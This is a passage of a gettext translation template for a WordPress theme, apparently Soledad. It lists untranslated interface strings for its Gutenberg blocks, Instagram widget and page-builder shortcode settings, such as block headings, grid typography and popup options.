msgid "Display Posts Featured Image?"
msgstr ""

#: inc/gutenberg/block/recipe-index/index.js:103
msgid "Images Size for Featured Image"
msgstr ""

#: inc/gutenberg/block/recipe-index/index.js:118
msgid "Custom \"View All\" button text"
msgstr ""

#: inc/gutenberg/block/recipe-index/index.js:133
msgid "Penci: Recipe Index"
msgstr ""

#: inc/gutenberg/block/recipe-index/index.php:10
#: inc/gutenberg/block/recipe/index.php:16
msgid "Please active Penci Recipe plugin"
msgstr ""

#: inc/gutenberg/block/recipe-index/index.php:34
msgid "Recipe Index Title"
msgstr ""

#: inc/gutenberg/block/recipe/index.js:41
msgid "Penci: Recipe"
msgstr ""

#: inc/gutenberg/block/recipe/index.php:12
#: inc/gutenberg/block/review/index.php:12
msgid "Empty post id, Enter post Id"
msgstr ""

#: inc/gutenberg/block/review/index.js:41
msgid "Penci: Review"
msgstr ""

#: inc/gutenberg/block/review/index.php:16
msgid "Please active Penci Review plugin"
msgstr ""

#: inc/gutenberg/metaboxes.php:16
msgid "Post Format Data"
msgstr ""

#: inc/instagram/dashpage.php:14 inc/instagram/dashpage.php:15
msgid "Connect Instagram"
msgstr ""

#: inc/instagram/dashpage.php:70
msgid "You've not connected to any Instagram Account."
msgstr ""

#: inc/instagram/dashpage.php:71
#, php-format
msgid ""
"You can <a class=\"%1$s\" href=\"%2$s\" target=\"_blank\">click here</a> to "
"connect to your Instagram account."
msgstr ""

#: inc/instagram/dashpage.php:73 inc/twitter/dashpage.php:47
#, php-format
msgid "Connected to account <strong>%s</strong>"
msgstr ""

#: inc/instagram/dashpage.php:74
#, php-format
msgid ""
"This token is valid until <strong>%1$s</strong> because Instagram just "
"provide an active token in 30 days.<br>Before it expired, you should connect "
"it again to make it won't break the connection to Instagram.<br>You can re-"
"connect or connect to another Instagram account by click <a class=\"%2$s\" "
"href=\"%3$s\" target=\"_blank\">HERE</a>."
msgstr ""

#: inc/instagram/widget.php:44
msgid "A widget that displays thumbnails or a slider with instagram images"
msgstr ""

#: inc/instagram/widget.php:50 inc/instagram/widget.php:52
#: inc/js_composer/shortcodes/instagram/settings.php:11
msgid "Instagram Feed"
msgstr ""

#: inc/instagram/widget.php:108
#: inc/js_composer/shortcodes/fancy_heading/settings.php:88
msgid "Title:"
msgstr ""

#: inc/instagram/widget.php:114
msgid "Number of images to show:"
msgstr ""

#: inc/instagram/widget.php:121
msgid "Check for new images every:"
msgstr ""

#: inc/instagram/widget.php:125
msgid "hours"
msgstr ""

#: inc/instagram/widget.php:129
#: inc/js_composer/shortcodes/instagram/settings.php:52
msgid "Template"
msgstr ""

#: inc/instagram/widget.php:142
#: inc/js_composer/shortcodes/instagram/settings.php:64
msgid "Number of Columns:"
msgstr ""

#: inc/instagram/widget.php:146
msgid "max is 10 ( only for thumbnails template )"
msgstr ""

#: inc/instagram/widget.php:162
msgid "Link to"
msgstr ""

#: inc/instagram/widget.php:165
msgid "Instagram Image"
msgstr ""

#: inc/instagram/widget.php:175
msgid "Custom link:"
msgstr ""

#: inc/instagram/widget.php:179
msgid ""
"* use this field only if the above option is set to <strong>Custom Link</"
"strong>"
msgstr ""

#: inc/instagram/widget.php:185
msgid "Advanced Slider Options"
msgstr ""

#: inc/instagram/widget.php:187
msgid "Slider Navigation Controls:"
msgstr ""

#: inc/instagram/widget.php:201
msgid "No Navigation"
msgstr ""

#: inc/instagram/widget.php:205
msgid "Number of words in caption:"
msgstr ""

#: inc/instagram/widget.php:212
msgid "Slide Speed:"
msgstr ""

#: inc/instagram/widget.php:216
msgid "milliseconds"
msgstr ""

#: inc/instagram/widget.php:217
msgid "1000 milliseconds = 1 second"
msgstr ""

#: inc/instagram/widget.php:221
msgid "Slider Text Description:"
msgstr ""

#: inc/instagram/widget.php:228
msgid ""
"Hold ctrl and click the fields you want to show/hide on your slider. Leave "
"all unselected to hide them all. Default all selected."
msgstr ""

#: inc/js_composer/inc/helper.php:863
#: inc/js_composer/inc/vc-params-helper.php:824
#: inc/js_composer/shortcodes/container/settings.php:69
#: inc/js_composer/shortcodes/fancy_heading/settings.php:459
#: inc/js_composer/shortcodes/google_map/settings.php:196
#: inc/js_composer/shortcodes/info_box/settings.php:500
#: inc/js_composer/shortcodes/instagram/settings.php:139
#: inc/js_composer/shortcodes/simple_list/settings.php:353
#: inc/js_composer/soledad_vc.php:917 inc/js_composer/soledad_vc.php:1356
#: inc/js_composer/soledad_vc.php:1771
msgid "Design Options"
msgstr ""

#: inc/js_composer/inc/product_param.php:13
#: inc/js_composer/shortcodes/product/settings.php:15
msgid "Date Source"
msgstr ""

#: inc/js_composer/inc/product_param.php:29
#: inc/js_composer/shortcodes/product/settings.php:32
msgid "Included Only"
msgstr ""

#: inc/js_composer/inc/product_param.php:42
#: inc/js_composer/shortcodes/product/settings.php:45
msgid "Excluded"
msgstr ""

#: inc/js_composer/inc/product_param.php:49
#: inc/js_composer/shortcodes/product/settings.php:52
msgid "Categories OR Tags"
msgstr ""

#: inc/js_composer/inc/product_param.php:125
#: inc/js_composer/shortcodes/product/settings.php:128
#: inc/template-builder/single-elements/custom-field.php:51
msgid "Meta Key"
msgstr ""

#: inc/js_composer/inc/product_param.php:197
#: inc/js_composer/inc/product_param.php:227
msgid "Id"
msgstr ""

#: inc/js_composer/inc/shortcodes-classes.php:231
#: inc/js_composer/inc/shortcodes-classes.php:758
msgid "Drag row to reorder"
msgstr ""

#: inc/js_composer/inc/shortcodes-classes.php:232
#: inc/js_composer/inc/shortcodes-classes.php:759
msgid "Delete this row"
msgstr ""

#: inc/js_composer/inc/shortcodes-classes.php:233
#: inc/js_composer/inc/shortcodes-classes.php:760
msgid "Edit this row"
msgstr ""

#: inc/js_composer/inc/shortcodes-classes.php:234
#: inc/js_composer/inc/shortcodes-classes.php:761
msgid "Clone this row"
msgstr ""

#: inc/js_composer/inc/shortcodes-classes.php:235
#: inc/js_composer/inc/shortcodes-classes.php:762
msgid "Toggle row"
msgstr ""

#: inc/js_composer/inc/shortcodes-classes.php:530
#: inc/js_composer/inc/shortcodes-classes.php:1021
msgid "Append to this column"
msgstr ""

#: inc/js_composer/inc/shortcodes-classes.php:532
#: inc/js_composer/inc/shortcodes-classes.php:1023
msgid "Prepend to this column"
msgstr ""

#: inc/js_composer/inc/shortcodes-classes.php:539
#: inc/js_composer/inc/shortcodes-classes.php:1030
msgid "Edit this column"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:16
msgid "Bookmark Size"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:86
msgid "Bookmarked Icon Border Color"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:93
msgid "Bookmarked Icon Background Color"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:109
#: inc/widgets/block_heading.php:35 inc/widgets/block_heading.php:37
msgid "Block Heading"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:116
msgid "Show / Hide Block Heading"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:127
#: inc/js_composer/inc/vc-params-helper.php:842
#: inc/js_composer/shortcodes/counter_up/settings.php:193
#: inc/js_composer/shortcodes/video_playlist/settings.php:89
msgid "Heading Title Style"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:131
msgid "Default "
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:162
#: inc/js_composer/inc/vc-params-helper.php:877
#: inc/js_composer/shortcodes/counter_up/settings.php:228
#: inc/js_composer/shortcodes/video_playlist/settings.php:126
msgid ""
"A title for this block, if you leave it blank the block will not have a title"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:170
#: inc/js_composer/inc/vc-params-helper.php:885
#: inc/js_composer/shortcodes/counter_up/settings.php:236
#: inc/js_composer/shortcodes/video_playlist/settings.php:134
msgid "A custom url when the block title is clicked"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:199
msgid "Select icon alignment."
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:256
msgid "Turn off Uppercase Block Title"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:281
msgid "Heading Ajax Filter Style"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:308
msgid "Use Custom Typography?"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:347
msgid "Dropdown Border Color"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:398
msgid "Custom Post Meta"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:465
msgid "Show Next Previous Navigation"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:520
msgid "Authors"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:679
msgid "Border Bottom for Heading Style 5, 10, 11, 12"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:690
msgid "Small Border Bottom for Heading Style 7 & Style 8"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:702
msgid "Border Top for Heading Style 10"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:710
msgid "Background Shapes for Heading Styles 11, 12, 13"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:774
msgid "Custom Font Family for Block Title"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:792
msgid "Font Size for Block Title"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:822
#: inc/js_composer/shortcodes/container/settings.php:67
#: inc/js_composer/shortcodes/fancy_heading/settings.php:457
#: inc/js_composer/shortcodes/google_map/settings.php:194
#: inc/js_composer/shortcodes/info_box/settings.php:498
#: inc/js_composer/shortcodes/instagram/settings.php:137
#: inc/js_composer/shortcodes/simple_list/settings.php:351
#: inc/js_composer/soledad_vc.php:915 inc/js_composer/soledad_vc.php:1354
#: inc/js_composer/soledad_vc.php:1769
msgid "CSS box"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:874
#: inc/js_composer/inc/vc-params-helper.php:875
#: inc/js_composer/shortcodes/video_playlist/settings.php:124
msgid "Block Title"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:882
#: inc/js_composer/shortcodes/counter_up/settings.php:233
#: inc/js_composer/shortcodes/video_playlist/settings.php:131
msgid "Title Url"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:963
#: inc/js_composer/shortcodes/posts_slider/settings.php:87
#: inc/js_composer/shortcodes/recent_posts/settings.php:250
msgid "General Posts"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1015
#: inc/js_composer/inc/vc-params-helper.php:1564
#: inc/js_composer/inc/vc-params-helper.php:1774
#: inc/js_composer/shortcodes/featured_slider/settings.php:317
#: inc/js_composer/shortcodes/featured_slider/settings.php:366
#: inc/js_composer/shortcodes/pc_single_title/settings.php:56
#: inc/js_composer/shortcodes/posts_slider/settings.php:121
#: inc/js_composer/shortcodes/recent_posts/settings.php:290
msgid "Custom Font Family for Post Title"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1050
#: inc/js_composer/inc/vc-params-helper.php:1302
msgid "Post Author Color"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1057
#: inc/js_composer/inc/vc-params-helper.php:1310
msgid "Post Meta Border Color"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1075
#: inc/js_composer/inc/vc-params-helper.php:1630
#: inc/js_composer/inc/vc-params-helper.php:1817
#: inc/js_composer/shortcodes/featured_slider/settings.php:415
#: inc/js_composer/shortcodes/featured_slider/settings.php:464
#: inc/js_composer/shortcodes/posts_slider/settings.php:163
#: inc/js_composer/shortcodes/recent_posts/settings.php:330
msgid "Custom Font Family for Post Meta"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1098
msgid "Post Excrept Color"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1106
msgid "Font Size for Post Excrept"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1116
msgid "Custom Font Family for Post Excrept"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1162
msgid "Custom Font Family for Categories"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1183
msgid "Continue reading Color"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1190
msgid "Continue reading Hover Color"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1198
msgid "Font Size for Continue reading"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1208
msgid "Custom Font Family for Continue reading"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1230
msgid "Social Share Color"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1237
msgid "Social Share Hover Color"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1244
msgid "Social Share Border Color"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1265
msgid "Big Posts"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1384
msgid "Font Size for Post Social Share"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1417
msgid "Font Size for Pagination"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1427
msgid "Pagination Text Color"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1448
msgid "Pagination Hover Text Color"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1455
msgid "Pagination Hover Border Color"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1462
msgid "Pagination Hover Background Color"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1478
msgid "Posts General Options"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1603
msgid "Post Meta Color for Big Posts"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1611
msgid "Post Meta Hover Color for Big Posts"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1672
msgid "Custom Font Family for Post Excerpt"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1835
msgid "Dots Slider"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1842
#: inc/js_composer/shortcodes/latest_tweets/settings.php:143
msgid "Dot background color"
msgstr ""

#: inc/js_composer/inc/vc-params-helper.php:1849
#: inc/js_composer/shortcodes/latest_tweets/settings.php:150
msgid "Dot border and background active color"
msgstr ""

#: inc/js_composer/params/loop/register.php:20
msgid "Build query"
msgstr ""

#: inc/js_composer/params/loop/register.php:279
msgid "Post count"
msgstr ""

#: inc/js_composer/params/loop/register.php:280
msgid "Post offset"
msgstr ""

#: inc/js_composer/params/loop/register.php:283
msgid "Post types"
msgstr ""

#: inc/js_composer/params/loop/register.php:287
#: inc/js_composer/shortcodes/pc_single_taxonomy/settings.php:29
msgid "Taxonomies"
msgstr ""

#: inc/js_composer/params/loop/register.php:288
msgid "Individual posts/pages"
msgstr ""

#: inc/js_composer/params/loop/register.php:350
msgid "Latest Modified"
msgstr ""

#: inc/js_composer/params/loop/register.php:352
msgid "Random Today"
msgstr ""

#: inc/js_composer/params/loop/register.php:353
msgid "Random from last 7 days"
msgstr ""

#: inc/js_composer/params/loop/register.php:354
msgid "Alphabetical ( A - Z )"
msgstr ""

#: inc/js_composer/params/loop/register.php:355
msgid "Popular posts in all time"
msgstr ""

#: inc/js_composer/params/loop/register.php:356
msgid "Popular posts in once month"
msgstr ""

#: inc/js_composer/params/loop/register.php:357
msgid "Popular posts in once week"
msgstr ""

#: inc/js_composer/params/loop/register.php:361
msgid "Comment count"
msgstr ""

#: inc/js_composer/params/loop/register.php:362
msgid "Featured ( Woo )"
msgstr ""

#: inc/js_composer/params/post_metas/register.php:16
msgid "Min Read"
msgstr ""

#: inc/js_composer/params/post_metas/register.php:18
msgid "Post Count Views"
msgstr ""

#: inc/js_composer/params/switch/register.php:31
msgid "yes"
msgstr ""

#: inc/js_composer/params/switch/register.php:32
msgid "no"
msgstr ""

#: inc/js_composer/shortcodes/about_me/settings.php:10
msgid "Widget About Me"
msgstr ""

#: inc/js_composer/shortcodes/about_me/settings.php:11
msgid "About Me Block"
msgstr ""

#: inc/js_composer/shortcodes/about_me/settings.php:17
msgid "About Image"
msgstr ""

#: inc/js_composer/shortcodes/about_me/settings.php:20
#: inc/js_composer/shortcodes/advanced_list/settings.php:72
#: inc/js_composer/shortcodes/advanced_list_item/settings.php:77
#: inc/js_composer/shortcodes/product_tabs/settings.php:28
#: inc/js_composer/shortcodes/simple_list/settings.php:153
#: inc/js_composer/shortcodes/team_member/settings.php:212
#: inc/js_composer/soledad_vc.php:1976
msgid "Select image from media library."
msgstr ""

#: inc/js_composer/shortcodes/about_me/settings.php:25
msgid "About Image size"
msgstr ""

#: inc/js_composer/shortcodes/about_me/settings.php:28
msgid ""
"Enter image size (Example: \"thumbnail\", \"medium\", \"large\", \"full\" or "
"other sizes defined by theme). Alternatively enter size in pixels (Example: "
"200x100 (Width x Height)). Leave parameter empty to use \"thumbnail\" by "
"default."
msgstr ""

#: inc/js_composer/shortcodes/about_me/settings.php:32
msgid "Add Link for About Image"
msgstr ""

#: inc/js_composer/shortcodes/about_me/settings.php:34
msgid ""
"If you want to clickable on the about me image link to other page, put the "
"link here. Include http:// or https:// on the link"
msgstr ""

#: inc/js_composer/shortcodes/about_me/settings.php:38
msgid " Open in new window"
msgstr ""

#: inc/js_composer/shortcodes/about_me/settings.php:47
msgid "Add nofollow"
msgstr ""

#: inc/js_composer/shortcodes/about_me/settings.php:56
msgid "Heading Text:"
msgstr ""

#: inc/js_composer/shortcodes/about_me/settings.php:64
msgid "About us text: ( you can use HTML here )"
msgstr ""

#: inc/js_composer/shortcodes/about_me/settings.php:84
msgid "H1"
msgstr ""

#: inc/js_composer/shortcodes/about_me/settings.php:85
msgid "H2"
msgstr ""

#: inc/js_composer/shortcodes/about_me/settings.php:86
msgid "H3"
msgstr ""

#: inc/js_composer/shortcodes/about_me/settings.php:87
msgid "H4"
msgstr ""

#: inc/js_composer/shortcodes/about_me/settings.php:88
msgid "H5"
msgstr ""

#: inc/js_composer/shortcodes/about_me/settings.php:89
msgid "H6"
msgstr ""

#: inc/js_composer/shortcodes/about_me/settings.php:90
msgid "div"
msgstr ""

#: inc/js_composer/shortcodes/about_me/settings.php:91
msgid "span"
msgstr ""

#: inc/js_composer/shortcodes/about_me/settings.php:92
msgid "p"
msgstr ""

#: inc/js_composer/shortcodes/about_me/settings.php:98
msgid "Make About Image Circle:"
msgstr ""

#: inc/js_composer/shortcodes/about_me/settings.php:104
#: inc/js_composer/shortcodes/about_me/settings.php:114
msgid ""
"To use this feature, please use square image for your image above to get "
"best display."
msgstr ""

#: inc/js_composer/shortcodes/about_me/settings.php:108
msgid "Disable Lazyload for About Me Image:"
msgstr ""

#: inc/js_composer/shortcodes/about_me/settings.php:119
msgid "Image Margin Bottom"
msgstr ""

#: inc/js_composer/shortcodes/about_me/settings.php:154
msgid "About us text"
msgstr ""

#: inc/js_composer/shortcodes/advanced_list/settings.php:3
msgid "Advanced Menu"
msgstr ""

#: inc/js_composer/shortcodes/advanced_list/settings.php:10
msgid "Create a menu list for your mega menu dropdown"
msgstr ""

#: inc/js_composer/shortcodes/advanced_list/settings.php:49
#: inc/js_composer/shortcodes/advanced_list_item/settings.php:53
msgid ""
"Write a label for this menu item badge like “Sale”, “Hot”, “New” etc. Leave "
"empty to not add any badges."
msgstr ""

#: inc/js_composer/shortcodes/advanced_list/settings.php:54
#: inc/js_composer/shortcodes/advanced_list_item/settings.php:58
msgid "Label color"
msgstr ""

#: inc/js_composer/shortcodes/advanced_list/settings.php:63
#: inc/js_composer/shortcodes/image_gallery/settings.php:33
msgid "Images"
msgstr ""

#: inc/js_composer/shortcodes/advanced_list/settings.php:79
#: inc/js_composer/shortcodes/advanced_list_item/settings.php:84
#: inc/js_composer/shortcodes/product_tab/settings.php:34
#: inc/js_composer/shortcodes/product_tabs/settings.php:36
#: inc/js_composer/shortcodes/simple_list/settings.php:165
msgid ""
"Enter image size. Example: 'thumbnail', 'medium', 'large', 'full' or other "
"sizes defined by current theme. Alternatively enter image size in pixels: "
"200x100 (Width x Height). Leave empty to use 'thumbnail' size."
msgstr ""

#: inc/js_composer/shortcodes/advanced_list/settings.php:93
#: inc/js_composer/shortcodes/advanced_list_item/settings.php:100
#: inc/js_composer/shortcodes/container/settings.php:61
#: inc/js_composer/shortcodes/fancy_heading/settings.php:451
#: inc/js_composer/shortcodes/google_map/settings.php:188
#: inc/js_composer/shortcodes/info_box/settings.php:492
#: inc/js_composer/shortcodes/product_tabs/settings.php:78
#: inc/js_composer/shortcodes/simple_list/settings.php:86
msgid "Extra class name"
msgstr ""

#: inc/js_composer/shortcodes/advanced_list/settings.php:95
#: inc/js_composer/shortcodes/advanced_list_item/settings.php:102
#: inc/js_composer/shortcodes/product_tabs/settings.php:81
#: inc/js_composer/shortcodes/simple_list/settings.php:88
msgid ""
"If you wish to style particular content element differently, then use this "
"field to add a class name and then refer to it in your css file."
msgstr ""

#: inc/js_composer/shortcodes/advanced_list_item/settings.php:5
msgid "Extra menu list item"
msgstr ""

#: inc/js_composer/shortcodes/advanced_list_item/settings.php:9
msgid "Soledad"
msgstr ""

#: inc/js_composer/shortcodes/advanced_list_item/settings.php:10
msgid "A link for your extra menu list"
msgstr ""

#: inc/js_composer/shortcodes/advanced_list_item/settings.php:36
msgid "Enter URL if you want this parent menu item to have a link."
msgstr ""

#: inc/js_composer/shortcodes/advanced_list_item/settings.php:86
#: inc/js_composer/shortcodes/product_tab/settings.php:36
#: inc/js_composer/shortcodes/product_tabs/settings.php:38
#: inc/js_composer/shortcodes/simple_list/settings.php:171
msgid ""
"Example: 'thumbnail', 'medium', 'large', 'full' or enter image size in "
"pixels: '200x100'."
msgstr ""

#: inc/js_composer/shortcodes/advanced_list_item/settings.php:94
msgid "Extra options"
msgstr ""

#: inc/js_composer/shortcodes/animated_headline/settings.php:10
msgid "Animated Headline"
msgstr ""

#: inc/js_composer/shortcodes/animated_headline/settings.php:11
msgid "Create awesome heading title effects"
msgstr ""

#: inc/js_composer/shortcodes/animated_headline/settings.php:68
msgid "Letter Speed"
msgstr ""

#: inc/js_composer/shortcodes/animated_headline/settings.php:74
msgid "Delay on Change"
msgstr ""

#: inc/js_composer/shortcodes/animated_headline/settings.php:86
msgid "Delay on Delete"
msgstr ""

#: inc/js_composer/shortcodes/animated_headline/settings.php:153
msgid "Normal Text Typography"
msgstr ""

#: inc/js_composer/shortcodes/animated_headline/settings.php:163
#: inc/js_composer/shortcodes/animated_headline/settings.php:202
#: inc/js_composer/shortcodes/big_grid/settings.php:991
#: inc/js_composer/shortcodes/big_grid/settings.php:1035
#: inc/js_composer/shortcodes/big_grid/settings.php:1057
#: inc/js_composer/shortcodes/big_grid/settings.php:1108
#: inc/js_composer/shortcodes/big_grid/settings.php:1180
#: inc/js_composer/shortcodes/big_grid/settings.php:1310
msgid "Select element tag."
msgstr ""

#: inc/js_composer/shortcodes/animated_headline/settings.php:164
#: inc/js_composer/shortcodes/animated_headline/settings.php:203
#: inc/js_composer/shortcodes/big_grid/settings.php:992
#: inc/js_composer/shortcodes/big_grid/settings.php:1036
#: inc/js_composer/shortcodes/big_grid/settings.php:1058
#: inc/js_composer/shortcodes/big_grid/settings.php:1109
#: inc/js_composer/shortcodes/big_grid/settings.php:1181
#: inc/js_composer/shortcodes/big_grid/settings.php:1311
msgid "Select text alignment."
msgstr ""

#: inc/js_composer/shortcodes/animated_headline/settings.php:165
#: inc/js_composer/shortcodes/animated_headline/settings.php:204
#: inc/js_composer/shortcodes/big_grid/settings.php:993
#: inc/js_composer/shortcodes/big_grid/settings.php:1037
#: inc/js_composer/shortcodes/big_grid/settings.php:1059
#: inc/js_composer/shortcodes/big_grid/settings.php:1110
#: inc/js_composer/shortcodes/big_grid/settings.php:1182
#: inc/js_composer/shortcodes/big_grid/settings.php:1312
msgid "Enter font size."
msgstr ""

#: inc/js_composer/shortcodes/animated_headline/settings.php:166
#: inc/js_composer/shortcodes/animated_headline/settings.php:205
#: inc/js_composer/shortcodes/big_grid/settings.php:994
#: inc/js_composer/shortcodes/big_grid/settings.php:1038
#: inc/js_composer/shortcodes/big_grid/settings.php:1060
#: inc/js_composer/shortcodes/big_grid/settings.php:1111
#: inc/js_composer/shortcodes/big_grid/settings.php:1183
#: inc/js_composer/shortcodes/big_grid/settings.php:1313
msgid "Enter line height."
msgstr ""

#: inc/js_composer/shortcodes/animated_headline/settings.php:167
#: inc/js_composer/shortcodes/animated_headline/settings.php:206
#: inc/js_composer/shortcodes/big_grid/settings.php:995
#: inc/js_composer/shortcodes/big_grid/settings.php:1039
#: inc/js_composer/shortcodes/big_grid/settings.php:1061
#: inc/js_composer/shortcodes/big_grid/settings.php:1112
#: inc/js_composer/shortcodes/big_grid/settings.php:1184
#: inc/js_composer/shortcodes/big_grid/settings.php:1314
msgid "Select color for your element."
msgstr ""

#: inc/js_composer/shortcodes/animated_headline/settings.php:186
msgid "Animate Text"
msgstr ""

#: inc/js_composer/shortcodes/animated_headline/settings.php:192
msgid "Animate Text Typography"
msgstr ""

#: inc/js_composer/shortcodes/animated_headline/settings.php:212
msgid "Animate Text Color"
msgstr ""

#: inc/js_composer/shortcodes/animated_headline/settings.php:218
msgid "Animate Text Hover Color"
msgstr ""

#: inc/js_composer/shortcodes/animated_headline/settings.php:225
msgid "Highlight Text"
msgstr ""

#: inc/js_composer/shortcodes/animated_headline/settings.php:231
msgid "Highlight Width"
msgstr ""

#: inc/js_composer/shortcodes/animated_headline/settings.php:245
msgid "Cursor Style"
msgstr ""

#: inc/js_composer/shortcodes/animated_headline/settings.php:270
msgid "Clip Effects"
msgstr ""

#: inc/js_composer/shortcodes/animated_headline/settings.php:276
msgid "Clip Width"
msgstr ""

#: inc/js_composer/shortcodes/big_grid/settings.php:10
msgid "Big Grid"
msgstr ""

#: inc/js_composer/shortcodes/big_grid/settings.php:11
msgid "Posts Big Grid"
msgstr ""

#: inc/js_composer/shortcodes/big_grid/settings.php:18
msgid "Base Post"
msgstr ""

#: inc/js_composer/shortcodes/big_grid/settings.php:33
#: inc/js_composer/shortcodes/featured_slider/settings.php:21
#: inc/js_composer/shortcodes/posts_slider/settings.php:23
#: inc/js_composer/shortcodes/recent_posts/settings.php:24
#: inc/js_composer/soledad_vc.php:68 inc/js_composer/soledad_vc.php:950
#: inc/js_composer/soledad_vc.php:1667
msgid "Create WordPress loop, to populate content from your site."
msgstr ""

#: inc/js_composer/shortcodes/big_grid/settings.php:172
msgid "Hide Post Meta/Description on Mobile"
msgstr ""

#: inc/js_composer/shortcodes/big_grid/settings.php:225
msgid "Excerpt Length"
msgstr ""

#: inc/js_composer/shortcodes/big_grid/settings.php:306
msgid "Gap Between Grid & Masonry Items"
msgstr ""

#: inc/js_composer/shortcodes/big_grid/settings.php:382
msgid "Add your custom grid item here"
msgstr ""

#: inc/js_composer/shortcodes/big_grid/settings.php:484
msgid "Custom Style ?"
msgstr ""

#: inc/js_composer/shortcodes/big_grid/settings.php:507
msgid "Verical Position"
msgstr ""

#: inc/js_composer/shortcodes/big_grid/settings.php:754
msgid "Whole"
msgstr ""

#: inc/js_composer/shortcodes/big_grid/settings.php:859
msgid "Big Grid Hover Effects"
msgstr ""

#: inc/js_composer/shortcodes/big_grid/settings.php:923
msgid "Big Grid Typo & Color"
msgstr ""

#: inc/js_composer/shortcodes/big_grid/settings.php:959
msgid "Big Grid Title Design"
msgstr ""

#: inc/js_composer/shortcodes/big_grid/settings.php:966
msgid "Text & Link Color"
msgstr ""

#: inc/js_composer/shortcodes/big_grid/settings.php:1003
msgid "Big Grid Title"
msgstr ""

#: inc/js_composer/shortcodes/big_grid/settings.php:1069
msgid "Post Meta & Description Text"
msgstr ""

#: inc/js_composer/shortcodes/big_grid/settings.php:1264
msgid "Text Hove & Active Color"
msgstr ""

#: inc/js_composer/shortcodes/big_grid/settings.php:1278
msgid "Border Hove & Active Color"
msgstr ""

#: inc/js_composer/shortcodes/big_grid/settings.php:1292
msgid "Hove & Active Background Color"
msgstr ""

#: inc/js_composer/shortcodes/button_popup/settings.php:10
msgid "Button Popup"
msgstr ""

#: inc/js_composer/shortcodes/button_popup/settings.php:11
msgid "Show popup when click a button"
msgstr ""

#: inc/js_composer/shortcodes/button_popup/settings.php:18
msgid "Popup Settings"
msgstr ""

#: inc/js_composer/shortcodes/button_popup/settings.php:42
msgid "Popup Content Style"
msgstr ""

#: inc/js_composer/shortcodes/button_popup/settings.php:45
msgid "Custom Text/HTML"
msgstr ""

#: inc/js_composer/shortcodes/button_popup/settings.php:67
msgid "Popup Block"
msgstr ""

#: inc/js_composer/shortcodes/button_popup/settings.php:86
msgid "Popup Position"
msgstr ""

#: inc/js_composer/shortcodes/button_popup/settings.php:104
msgid "Popup Open Animation Style"
msgstr ""

#: inc/js_composer/shortcodes/button_popup/settings.php:119
msgid "Add Sub Text?"
msgstr ""

#: inc/js_composer/shortcodes/button_popup/settings.php:129
msgid "Sub Text"
msgstr ""

#: inc/js_composer/shortcodes/button_popup/settings.php:136
msgid "Sub Text Align"
msgstr ""

#: inc/js_composer/shortcodes/button_popup/settings.php:188
msgid "Button Settings"
msgstr ""

#: inc/js_composer/shortcodes/button_popup/settings.php:203
msgid "Font Size for Button Text"
msgstr ""

#: inc/js_composer/shortcodes/button_popup/settings.php:224
msgid "Popup Overlay Background Color"
msgstr ""

#: inc/js_composer/shortcodes/button_popup/settings.php:231
msgid "Popup Overlay Opacity"
msgstr ""

#: inc/js_composer/shortcodes/column/settings.php:8
msgid "Column"
msgstr ""

#: inc/js_composer/shortcodes/column_inner/settings.php:7
msgid "Column Inner"
msgstr ""

#: inc/js_composer/shortcodes/container/settings.php:8
#: inc/js_composer/shortcodes/container_inner/settings.php:7
msgid "Container"
msgstr ""

#: inc/js_composer/shortcodes/container/settings.php:9
#: inc/js_composer/shortcodes/container_inner/settings.php:8
msgid "Place content elements inside the container"
msgstr ""

#: inc/js_composer/shortcodes/container/settings.php:20
msgid "Choose with container"
msgstr ""

